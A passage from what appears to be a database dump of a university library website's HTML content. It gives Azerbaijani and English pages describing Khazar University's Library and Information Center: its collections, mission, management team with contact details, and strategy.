title=\"Azərbaycan\" style=\"text-align:justify\">Azərbaycan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0ngilis\" title=\"İngilis\" style=\"text-align:justify\">ingilis</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Rus\" title=\"Rus\" style=\"text-align:justify\">rus</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/T%C3%BCrk\" title=\"Türk\" style=\"text-align:justify\">türk</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C6%8Fr%C9%99b\" title=\"Ərəb\" style=\"text-align:justify\">ərəb</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Fars\" title=\"Fars\" style=\"text-align:justify\">fars</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Alman\" title=\"Alman\" style=\"text-align:justify\">alman</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Frans%C4%B1z\" title=\"Fransız\" style=\"text-align:justify\">fransız</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0span\" title=\"İspan\" style=\"text-align:justify\">ispan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0talyan\" title=\"İtalyan\" style=\"text-align:justify\">italyan</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Yapon\" title=\"Yapon\" style=\"text-align:justify\">yapon</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C3%87in\" title=\"Çin\" style=\"text-align:justify\">çin</a><span style=\"text-align:justify\"> və digər müasir </span><a href=\"https://az.wikipedia.org/w/index.php?title=Avropa_v%C9%99_%C5%9E%C9%99rq_dill%C9%99rind%C9%99&amp;action=edit&amp;redlink=1\" title=\"Avropa və Şərq dillərində (səhifə mövcud deyil)\" style=\"text-align:justify\">Avropa və Şərq dillərində</a><span style=\"text-align:justify\"> olan </span><a href=\"https://az.wikipedia.org/w/index.php?title=%C4%B0qtisadiyyat_v%C9%99_menecment&amp;action=edit&amp;redlink=1\" title=\"İqtisadiyyat və menecment (səhifə mövcud deyil)\" style=\"text-align:justify\">iqtisadiyyat və menecment</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/w/index.php?title=M%C3%BCh%C9%99ndislik_v%C9%99_t%C9%99tbiqi_elml%C9%99r&amp;action=edit&amp;redlink=1\" title=\"Mühəndislik və tətbiqi elmlər (səhifə mövcud deyil)\" style=\"text-align:justify\">mühəndislik və tətbiqi elmlər</a><span style=\"text-align:justify\">,\r\n</span><a href=\"https://az.wikipedia.org/wiki/T%C9%99hsil\" title=\"Təhsil\" style=\"text-align:justify\">təhsil</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Sosial_elml%C9%99r\" title=\"Sosial elmlər\" style=\"text-align:justify\">sosial elmlər</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/w/index.php?title=Siyasi_elml%C9%99r&amp;action=edit&amp;redlink=1\" title=\"Siyasi elmlər (səhifə mövcud deyil)\" style=\"text-align:justify\">siyasi elmlər</a><span style=\"text-align:justify\"> və </span><a href=\"https://az.wikipedia.org/wiki/Beyn%C9%99lxalq_m%C3%BCnasib%C9%99tl%C9%99r\" title=\"Beynəlxalq münasibətlər\" style=\"text-align:justify\">beynəlxalq\r\nmünasibətlər</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/H%C3%BCquq\" title=\"Hüquq\" style=\"text-align:justify\">hüquq</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Dil\" title=\"Dil\" style=\"text-align:justify\">dil</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C4%B0nc%C9%99s%C9%99n%C9%99t\" title=\"İncəsənət\" style=\"text-align:justify\">incəsənət</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Arxitektura\" title=\"Arxitektura\" style=\"text-align:justify\">arxitektura</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/F%C9%99ls%C9%99f%C9%99\" title=\"Fəlsəfə\" style=\"text-align:justify\">fəlsəfə</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/%C6%8Fd%C9%99biyyat\" title=\"Ədəbiyyat\" style=\"text-align:justify\">ədəbiyyat</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Tarix\" title=\"Tarix\" style=\"text-align:justify\">tarix</a><span style=\"text-align:justify\">, </span><a href=\"https://az.wikipedia.org/wiki/Tibb\" title=\"Tibb\" style=\"text-align:justify\">tibb</a><span style=\"text-align:justify\"> və digər sahələrə aid çap və elektron\r\nmaterialları əhatə edir. Kitabxana materiallarının təxminən 75%-i ingilis\r\ndilindədir. Dünyada nəşr olunmuş dərsliklər, həmçinin </span><a href=\"https://az.wikipedia.org/w/index.php?title=X%C9%99z%C9%99r_Universitetinin_N%C9%99%C5%9Friyyat%C4%B1&amp;action=edit&amp;redlink=1\" title=\"Xəzər Universitetinin Nəşriyyatı (səhifə mövcud deyil)\" style=\"text-align:justify\">Xəzər Universitetinin Nəşriyyatın</a><span style=\"text-align:justify\">ın\r\nnəşrləri kitabxanada geniş əks olunub. </span><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\" style=\"text-align:justify\">Xəzər\r\nUniversitetinin</a><span style=\"text-align:justify\"> KİM-in birdilli və ikidilli ensiklopediyalar da\r\ndaxil olmaqla zəngin soraq-məlumat kolleksiyası var. KİM kolleksiyanın sayını\r\nyeni materiallar satın almaqla yanaşı, hədiyyə və müxtəlif qrantlardan əldə\r\nedilmiş materiallar hesabına da artırır.</span><a href=\"https://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\" title=\"Xəzər Universiteti\"></a></p>\r\n<p style=\"text-align: justify;\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">KİM <a href=\"https://az.wikipedia.org/wiki/Az%C9%99rbaycan\" title=\"Azərbaycan\">Azərbaycanda</a> ingilisdilli\r\ndərslik və digər materiallara görə ən geniş kitabxana olmaqla yanaşı həmçinin\r\nən böyük özəl universitet kitabxanasıdır.</p>\r\n<p style=\"text-align: justify;\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;text-align:justify;line-height:normal;background:white\"\"=\"\">İstifadəçilər onlayn kataloq vasitəsilə ingilis,\r\nAzərbaycan, rus və digər dillərdə olan kitab jurnal, dövri mətbuat, video\r\nyazılar və CD-ROM-ların axtarışını apara bilərlər. Universitet kitabxanası öz\r\n<a href=\"https://khazaruniversity.follettdestiny.com\">elektron kataloqu</a> (<a href=\"http://webopac.khazar.org/wx/S.exe\">http://webopac.khazar.org/wx/S.exe</a>) vasitəsilə dünya üzrə\r\nmövcud e-kitab, e-jurnal, veb-sayt və məlumat bazalarına onlayn girişi təmin\r\nedir. Xəzər Universitetinin elektron kataloqu həm çap olunmuş, həm də çap\r\nolunmamış kitab, jurnal, multimedia və elektron resurslar kimi materialların\r\nbiblioqrafik yazılarını özündə əks etdirir.</p>\r\n<p style=\"text-align:justify\">Xəzər Universitetinin KİM məşğələlər, peşəkar\r\nkonsultasiya və köməklik məqsədilə bir çox elektron resurslara girişi təmin\r\nedir. Xəzər Universitetinin Azərbaycan Kitabxana Konsorsiumunda fəal iştirakı nəticəsində\r\n<a href=\"https://az.wikipedia.org/w/index.php?title=EBSCO&amp;action=edit&amp;redlink=1\" title=\"EBSCO (səhifə mövcud deyil)\">EBSCO</a> məlumatlar bazasına giriş və\r\ndigər nəşriyyat şirkətləri ilə əldə olunmuş razılığa əsasən istifadə etmək\r\nmümkün olmuşdur.</p>\r\n<p style=\"text-align:justify\">Tədqiqatçılarına kömək məqsədilə KİM tərəfindən Xəzər\r\nUniversitetinin Elektron Arxivi yaradılmışdır. Arxivə Xəzər Universitetinin və\r\nonlarla əməkdaşlıq edən tədqiqatçıların birgə apardıqları tədqiqat işləri daxil\r\nedilir. Bu kolleksiya Xəzər Universiteti Kitabxana İnformasiya Mərkəzi tərəfindən\r\nDspace proqram təminatı vasitəsilə təşkil olunur, yaddaşa salınır və yayılır.\r\nElektron arxivdən göstərilən ünvanda istifadə etmək olar:&nbsp;<a href=\"http://dspace.khazar.org/\">http://dspace.khazar.org</a>.&nbsp;Arxivdəki materiallar\r\nuniversitetin tədqiqatçıları tərəfindən seçilir və universitetlə əməkdaşlıq edən\r\ndigər tədqiqatçıların, əməkdaşların və tələbələrin maraqlarına cavab verir.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_6634.jpg\" style=\"vertical-align:baseline;width:300px;height:201px\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0001.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\"></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:left\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0021.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;   <img src=\"/files/letters/21743869_1714814231862308_3858926971270472522_o.jpg\" style=\"vertical-align:baseline;width:300px;height:200px\"><br></p>'),(5006,2917,'en','About Us','About Us','<h3><strong><a href=\"http://library.khazar.org/\">LIBRARY\r\nAND INFORMATION CENTER</a></strong></h3>\r\n<p style=\"text-align:justify\">Khazar University Library &amp; Information Center (LIC) a top-tier academic library, serving one of the most important centers of learning and research in Azerbaijan.  <br></p><h3 style=\"color:#6699cc\">MISSION</h3><p style=\"text-align:justify\">Khazar University LIC as the intellectual heart of the university community, provides quality support for teaching, learning, and&nbsp; research through our staff, collections, programs, spaces, and services.  <br></p><h3 style=\"color:#6699cc\">VISION</h3><p style=\"text-align:justify\">•&nbsp;LIC staff are committed to the library mission, and effectively anticipate and respond to the ever-changing teaching, learning, and research landscape.  <br></p><p style=\"text-align:justify\">•&nbsp;LIC programs contribute to an intellectual value for Khazar University Community.  <br></p><p style=\"text-align:justify\">•&nbsp;Library services are driven by an evidence-based understanding of the various needs and research practices of our users.  <br></p><p style=\"text-align:justify\">•&nbsp;LIC digital and technological infrastructure enable the library to best carry out its mission.<br></p><h3 style=\"color:#6699cc\">GUIDING PRINCIPLES</h3><p style=\"text-align:justify\">•&nbsp;We recognize that service to the Khazar community is our top priority.  <br></p><p style=\"text-align:justify\">•&nbsp;We are committed to responding to the needs of a changing educational environment.  <br></p><p style=\"text-align:justify\">•&nbsp;We are committed to fostering information literacy skills and promoting lifelong learning by providing instruction and resources that meet the needs of learners.<br></p><p style=\"text-align:justify\">•&nbsp;We collaborate with partners, internal and external to the library and to Khazar University.  <br></p><p style=\"text-align:justify\">•&nbsp;We assess what we do and how we do it to ensure operational effectiveness and quality service delivery.  <br></p><p style=\"text-align:justify\">•&nbsp;We are committed to creating an inviting and working environment that enhances teaching, learning, research, innovation, and collaboration.  <br></p><h3 style=\"color:#6699cc\">E - LIBRARY ACCESS</h3><p style=\"text-align:justify\"></p><ul><li><a href=\"https://khazaruniversity.follettdestiny.com\">OPAC</a></li><li><a href=\"http://dspace.khazar.org/\">DSpace</a></li></ul><p></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><p style=\"padding:0in;background-position:100% 0%;border:initial none #000\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_6634.jpg\" style=\"vertical-align:baseline;width:300px;height:201px\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0001.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\"></p>\r\n<p style=\"text-align:left\"><br></p><p style=\"text-align:left\">&nbsp; &nbsp; &nbsp;<img src=\"/files/letters/DSC_0021.JPG\" style=\"vertical-align:baseline;width:300px;height:198px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;<img src=\"/files/letters/21743869_1714814231862308_3858926971270472522_o.jpg\" style=\"vertical-align:baseline;width:300px;height:200px\"><br></p>'),(5007,2918,'az','KİM-in idarə heyəti','KİM-in idarə heyəti','<p><strong><img src=\"/files/library/tatiana_z.jpg\" style=\"float:left;width:150px;height:116px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></strong><br></p><p><strong><strong>Kitabxana İnformasiya Mərkəzinin&nbsp;direktoru</strong><br></strong></p><p>İqtisadiyyatda Riyazi Metodlar üzrə fəlsəfə doktoru<strong>&nbsp;&nbsp;</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Telefon:</strong>&nbsp;(+994 12) 421 10 93 (263)  </p><p><strong><strong><br></strong></strong></p><p><strong><strong></strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><img src=\"http://www.khazar.org/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://khazar.org/files/library/AYTAJ_MISGARLI_CV.pdf\">Aytac Misgərli</a></strong></p><p><strong>Kitabxana İnformasiya Mərkəzinin direktor müavini  </strong></p><p>Kitabxanaşünaslıq və&nbsp;Biblioqrafiya&nbsp;üzrə magistr&nbsp;(Bakı Dövlət&nbsp;Universiteti, Azərbaycan)  <br></p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a></p><p style=\"padding-left:160px\"><a href=\"mailto:amiskerli@khazar.org\"></a><strong>Telefon</strong>: (+994 12) 421 10 93 (263)</p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://khazar.org/files/library/Samira_CV.pdf\"><img src=\"/files/library/samira_o.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samirə Orucova</a></strong></p><p><strong><strong>Kataloqlaşdırma bölməsinin müdiri</strong><br></strong></p><p>Kitabxanaşünaslıq və Biblioqrafiya  üzrə bakalavr&nbsp;(Bakı Dövlət&nbsp;Universiteti, Azərbaycan)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shuseynova@khazar.org\"><span style=\"font-size:13.5pt;line-height:107%\">shuseynova[at]khazar.org</span></a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Cəmilə Quliyeva</a><br></strong></p><p><strong><strong><strong>Komplektləşdirmə bölməsinin müdiri</strong></strong>  </strong></p><p>Linqvistika üzrə magistr&nbsp;(Azərbaycan Dövlət&nbsp;Pedaqoji&nbsp;Universiteti)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(5008,2918,'en','LIC Management Team','LIC Management Team','<p><strong><img src=\"/files/library/tatiana_z.jpg\" style=\"float:left;width:150px;height:116px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></strong><br></p><p><strong><strong><strong>Director of Library Information Center</strong></strong><br></strong></p><p>PhD&nbsp;in&nbsp;Mathematical Methods in Economics<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Phone:</strong>&nbsp;(+994 12) 421 10 93 (263)  </p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://khazar.org/files/library/AYTAJ_MISGARLI_CV.pdf\"><img src=\"/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aytaj Misgarli</a></strong></p><p><strong>Deputy Director of Library Information Center</strong></p><p>MS in&nbsp;Librarianship and Bibliography (Baku State University, Azerbaijan)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a>  <a href=\"http://mailto:amiskerli@khazar.org\"></a>  </p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Phone</strong>: (+994 12) 421 10 93 (263)  </p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://khazar.org/files/library/Samira_CV.pdf\"><img src=\"/files/library/samira_o.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:174px\">Samira Orujova</a></strong></p><p><strong>Head of Cataloging Department<br></strong></p><p>BS in&nbsp;Librarianship and Bibliography (Baku State University, Azerbaijan)  <br></p><p><strong>E-mail: </strong><a href=\"mailto:shuseynova@khazar.org\">shuseynova[at]khazar.org</a>  <a href=\"http://mailto:shuseynova@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://www.library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Jamila Guliyeva</a><br></strong></p><p><strong>Head of Acquisition Department</strong></p><p>MS in Linguistics (Azerbaijan State Pedagogical University)  </p><p><strong style=\"font-weight:bold\"><strong>E-mail:&nbsp;</strong></strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p>'),(5009,2919,'az','KİM-in strategiyası','KİM-in strategiyası','<h2><strong>Mə</strong><strong>qsə</strong><strong>d:</strong><br></h2><p style=\"text-align:justify\">KİM-in istəyi maariflənməni dəstəkləmək, təlim və tədqiqatda üstün olmaqdır. Əməkdaşlarımız tədbirli, uzaqgörən olacaq, müxtəlif xidmət və Universitet birliyinin informasiya ehtiyaclarını qarşılamaq, tələbələrin, tədqiqatçıların informasiya və biliyə olan axtarışlarına kömək etmək üçün müasir informasiya texnologiyaları sahəsində liderliyini saxlayacaq.</p><p>Strateji məqsədlərimizi, hədəflərimizi dəstəkləmək, həyata keçirtmək üçün Universitet çərçivəsində və xaricində əməkdaşlıqlar yaradacağıq. KİM daxilində yenilik mədəniyyəti tətbiq edəcək və xidməti hədəflərimiz, peşəkar inkişafa dair öhdəliyi artıracağıq.<br></p><h2><strong>Əsas xidməti&nbsp;işlərimiz və&nbsp;</strong><strong>hə</strong><strong>də</strong><strong>flə</strong><strong>rimiz:</strong></h2><p style=\"text-align:justify\"><strong><em>XƏZƏR UNİVERSİTETİ AKADEMİK BİRLİYİNİN MÜXTƏLİF VƏ DƏYİŞƏN İNFORMASİYA EHTİYACLARINI DƏSTƏKLƏMƏK ÜÇÜN XİDMƏTLƏRİ YENİDƏN NƏZƏRDƏN KEÇİRMƏK,&nbsp;MÜMKÜN OLDUQCA TEXNOLOGİYADAN İSTİFADƏ ETMƏKLƏ İNKİŞAFI DƏSTƏKLƏMƏK.&nbsp;</em></strong></p><p><strong><em></em></strong>Biz mütəmadi olaraq istifadəçilərin ehtiyaclarını müəyyənləşdirməklə, müxtəlif tələblərə cavab verəcəyik.&nbsp;Siyasətimizi yenidən nəzərdən keçirmək və texnologiya yenilikləri etməklə, dəyişiklikləri əks etdirmək üçün xidmətlərimizi yenidən formalaşdıracağıq.</p><p style=\"text-align:justify\"><strong><em>KOLLEKSİYALARI GENİŞLƏNDİRMƏK, İNFORMASİYAYA VAXTINDA VƏ RAHAT&nbsp;GİRİŞƏ ZƏMANƏT YARATMAQ ÜÇÜN ELEKTRON İNFORMASİYA XİDMƏTLƏRİNİN İNKİŞAFINI SÜRƏTLƏNDİRMƏK.&nbsp;</em></strong></p><p style=\"text-align:justify\">Universiteti&nbsp;birliyinin tədris proqramı və tədqiqat prioritetləri tərəfindən məlumatlandırılan KİM, fakültə ilə iş birliyi çərçivəsində informasiya resuslarına girişə nəzarət edir.</p><p style=\"text-align:justify\">Kitabxana xidmətləri daha mürəkkəb və tələblərə cavab verən mühitlə təmin olunmuş olacaq. Kitbaxana hər bir fənn sahəsinə uyğun olaraq, ənənəvi və elektron resursları birləşdirərək “hibrid kitabxana” xidmətini təklif etməyi davam etdirəcək. Elektron resursların artımı, ənənəvi kitabxana resurslarının istifadəsinin və ya nəşrlərin eyni dərəcədə azalması ilə müşayət olunmayacaq&nbsp;KİM daxili prosesləri asanlaşdırmaqla rəqəmsal resurslara girişi&nbsp;sürətləndirəcək və tez-tez Azərbaycan Kitabaxa İnformasiya Konsorsiumuyla əməkdaşlıq etməklə, akademik resurslara girişi təkmilləşdirəcək.</p><p style=\"text-align:justify\"><strong><em>KOLLEKSİYALAR VƏ DİGƏR İNFORMASİYA RESURSLARININ MÖVCUDLUĞU VƏ GİRİŞ İMKANINI ARTIRMAQ.&nbsp;</em></strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>KİM davam edəcək</strong></p><br><ul><li>Onlayn kataloq vasitəsi ilə kolleksiyalara girişi təkmilləşdirməyə.</li><li>Veb imkanlarından bütünlüklə istifadə etməklə, kolleksiya və resursların giriş imkanını artırmağa.</li><li>”İstifadəçi birliyininin ehtiyacları” anlayışını dərinləşdirməyə</li></ul><p><br></p><p><strong><em>AKADEMİK TƏDQİQAT ÜÇÜN KİM DƏSTƏYİNİ GÜCLƏNDİRMƏK<br></em></strong></p><div>Kitabxana, xüsusilə, DSpace texnologiyasına&nbsp;əsaslanan <a href=\"http://dspace.khazar.org/jspui/\">Xəzər Universiteti Elektron Arxivinin</a>&nbsp;(Khazar University Institutional Repository) təmin edilməsi ilə&nbsp;Universitetin İnformasiya Strategiyasının həyata keçirilməsində əsas rol oynayacaq.</div>KİM Xəzər Universiteti Elektron Arxivi vasitəsi ilə tədqiqat resurslarına&nbsp;səmərəli girişin təmin edilməsi, tədqiqatçıların öz sahələrindəki tərəqqi barəsində cari məlumatlılığının saxlanılmasına kömək edilməsi və fakültə ilə işləməklə aspirantların tədqiqat metodologiyası, informasiya-axtarış bacarıqlarında səriştəli olmalarına zəmanət yaratmaqla, akademik tədqiqatı dəstəkləyəcək.<p><strong><em>KİM-İN TƏLİM İSTİQAMƏTİNİ GÜCLƏNDİRMƏK</em></strong><em>&nbsp;</em></p><p style=\"text-align:justify\"><em></em>KİM elektron informasiyanın necə əldə edilməsi, eyni zamanda tədqiqi, seçilib qiymətləndirilməsinə dair əsas təlimatı təmin etməklə, cəmiyyət üzvlərinin informasiyaya giriş və dəyərləndirmək bacarıqlarını inkişaf etdirmək üçün&nbsp;KİM proqramlarını təkmilləşdirəcək. Həm fəal tədris və özünəkömək sistemlərinə diqqət yetirəcək. Təhsil alan şəxslərin öz biliklərinə dair məsuliyyət daşımaları düşüncəsində həvəsləndirəcək.<br>KİM Azərbaycanda kitabxanaçılar və informasiya mütəxəssislərinin peşəkar inkişafına intensiv seminarlar, ardıcıl mühazirələr, konsultasiya və s. formada xüsusi təlim proqramları təklif etməklə, müasir yanaşmanı dəstəkləməyə davam edəcək.<br></p><p><strong><em>UNİVERSİTET VƏ FAKÜLTƏNİN TƏŞƏBBÜSLƏRİNİ DƏSTƏKLƏYƏN STRATEJİ VƏ BİRGƏ ƏMƏKDAŞLIQLARIN İNKİŞAFINA KÖMƏK VƏ VASİTƏÇİLİK ETMƏK</em></strong></p><p style=\"text-align:justify\"><strong><em></em></strong>Universitet daxilində sahələrarası tədqiqata istiqamətlənmə, texnologiyanın daha geniş miqyaslı istifadəsi, təlim və tədrisə yeni yanaşmalar, eyni zamanda universitet şəhərciyindən kənarda həmkarlıqlar KİM-dən uğunlaşma qabiliyyəti tələb edir.&nbsp;Akademik birliklərlə sıx əməkdaşlıq etməklə, KİM, texnologiya lideri kimi, yeni yanaşmaları dəstəkləyəcək və vasitəçilik edəcək.<br></p><p><strong><em>DAHA MÜNASİB ELMİ NƏŞRLƏR ÜÇÜN TƏŞƏBBÜSLƏRƏ İMKAN YARATMAQ VƏ DƏSTƏKLƏMƏK</em></strong><em>&nbsp;</em></p><p style=\"text-align:justify\"><em></em>Kitabaxana mümkün elmi əlaqələri təmin edən strategiyaları həyata keçirməyə davam edəcək. Kitabxana Xəzər Universiteti akademik birliyi, digər universitetlər və akademik kitabxanalarla razılığa əsasən, Xəzər Universiteti elmi jurnallarına açıq girişi təmin etməklə, tədqiqat nəticələrini yaymaq üçün alternativ strategiyalar axtarmağa davam edəcək.&nbsp;<br></p><p style=\"text-align:justify\"><strong><em>TƏHSİL VƏ TƏDQİQAT, EYNİ ZAMANDA SOSİAL-İNTELEKTUAL ƏLAQƏLƏR ÜÇÜN MÜNASİB GÖRÜŞ YERİ KİMİ KİTABXANA İMKANLARINI GENİŞLƏNDİRMƏK</em></strong></p><p style=\"text-align:justify\"><strong><em></em></strong>Elektron xidmətlərimiz və elmi ədəbiyyatın ofislərdə, evlərdə istifadəsinin artmağa davam etdiyi bir müddətdə bizim əyani vəsait xüsusən tələbələr tərəfindən həddən artıq istifadə olunur və yüksək dərəcədə qiymətləndirilir. Təhcizatı yeniləşdirmək və qrup halında çalışan, həm sakit, həm sosial mühiti inkişaf etdirməklə biz, dəyişən istifadə nümunələrinə cavab verən imkanları genişləndirməyə davam edəcəyik.<br></p><p style=\"text-align:justify\"><strong><em>XİDMƏTİ MƏQSƏDLƏRİMİZİ HƏYATA KEÇİRMƏK ÜÇÜN MÜNASİB TƏŞKİLATİ STRUKTURLAR YARATMAQ VƏ RESURSLARIMIZIN ƏN EFFEKTİV ŞƏKİLDƏ İSTİFADƏSİNDƏN ƏMİN OLMAQ</em></strong><em>&nbsp;</em></p><p style=\"text-align:justify\"><em></em>Büdcə çətinlikləri və texniki dəyişiklik şəraitində, şəxsi heyətin qruplaşdırılması və təşkilatı strukturlar davamlı nəzərdən keçirilməyə, yenidən işlənməyə ehtiyac duyur. KİM xidməti hədəflərimizə effektiv şəkildə kömək etməyə imkan verən şəxsi heyətin qruplaşdırılmasının səviyyəsinə nəzarət tətbiq edəcək və münasib olan yerdə informasiya xidmətləri və təşkilati strukturları yenidən gözdən keçirəcək.<br></p><p style=\"text-align:justify\"><strong><em>KİM-İN UĞURLARI, MÜVƏFFƏQİYYƏTİ ÜÇÜN ƏMƏKDAŞLAR</em></strong><strong><em>I</em></strong><strong><em>&nbsp;VƏRDİŞ VƏ BACARIQLARINI TƏKMİLLƏŞDİRMƏYƏ, ÜMUMİ MƏQSƏDİ, BİRGƏ MƏSU LİYYƏTİ BÖLÜŞMƏYƏ&nbsp;HƏVƏSLƏNDİRƏN MÜSBƏT TƏŞKİLATİ MƏDƏNİYYƏT YARATMAQ</em></strong></p><p style=\"text-align:justify\"><strong><em></em></strong>Kitabxana heyətinin çalışdığı sürətlə dəyişən mühit, daim vərdiş və bacarıqların təkmilləşdirilməsini, bu mühitə uyğunlaşdırılmasını tələb edir. Müsbət iş mühitinə kömək edən, dəstəkləyən strategiyalara vərdiş və bacarıqların təkmilləşdirilməsinə dəstək; yeni təlimat və KİM-in üzləşdiyi məsələlərə dair açıq söhbətlərin aparılması; əməkdaşların işə dair məsələlər və xidmətlərinin müəyyənləşdirilməsi, həyata keçirilməsində iştirak etmək imkanları daxil olacaq.</p><p style=\"text-align:justify\"><strong><em>KİM-İN XİDMƏTLƏRİNİ, RESURSLARINI UNİVERSİTET BİRLİYİ DAXİLİNDƏ VƏ XARİCİNDƏ TANITMAQ, ƏLAQƏLƏR YARATMAQLA GENİŞLƏNDİRMƏK, YÜKSƏLTMƏK</em></strong></p><p style=\"text-align:justify\"><strong><em></em></strong>Biz Universitet daxilində KİM resursları, xidmətlərini genişləndirəcək və yaradıcı, səmərəli fond-inkişaf strategiyalarına yardım edəcəyik. KİM-in istiqamətlərini, yeniliklərini, uğurlarını universitet şəhərciyində və xaricində elan edəcək və tanıdacağıq.</p>'),(5010,2919,'en','LIC Strategy','LIC Strategy','<h2 style=\"text-align:justify\">Vision:&nbsp; &nbsp;&nbsp;</h2><p style=\"text-align:justify\">The LIC vision is to support learning and excellence in teaching and research. Our staff will be forward-looking and will maintain a leadership role in modern information technologies to meet the diverse service and information needs of the University community and to support students\' and researchers\' quest for information and knowledge.&nbsp;</p><p style=\"text-align:justify\">We will forge partnerships within and beyond the University to support and realize our strategic goals. And within the LIC, we will promote a culture of innovation and flexibility and a commitment 